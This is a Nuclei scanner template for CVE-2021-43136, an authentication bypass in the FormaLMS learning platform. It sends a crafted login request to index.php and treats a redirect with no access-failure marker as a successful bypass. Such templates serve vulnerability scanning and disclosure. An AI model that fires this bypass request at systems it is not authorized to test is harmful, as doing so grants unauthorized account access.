FormaLMS Authentication Bypass - Nuclei Template

formalms-authbypass.yaml

id: formalms-auth-bypass

info:
  name: Formalms Auth Bypass
  author: Cristian `void` Giustini
  severity: high
  reference: https://blog.hacktivesecurity.com/index.php/2021/10/05/the-evil-default-value-that-leads-to-authentication-bypass-on-formalms/
  tags: formalms
  cve: CVE-2021-43136

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?login_user={{login_user}}&time={{time}}&token={{token}}'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'access_failure'
        part: header
        negative: true
      - type: status
        status:
          - 302
      - type: word
        words:
          - "/index.php"
        part: header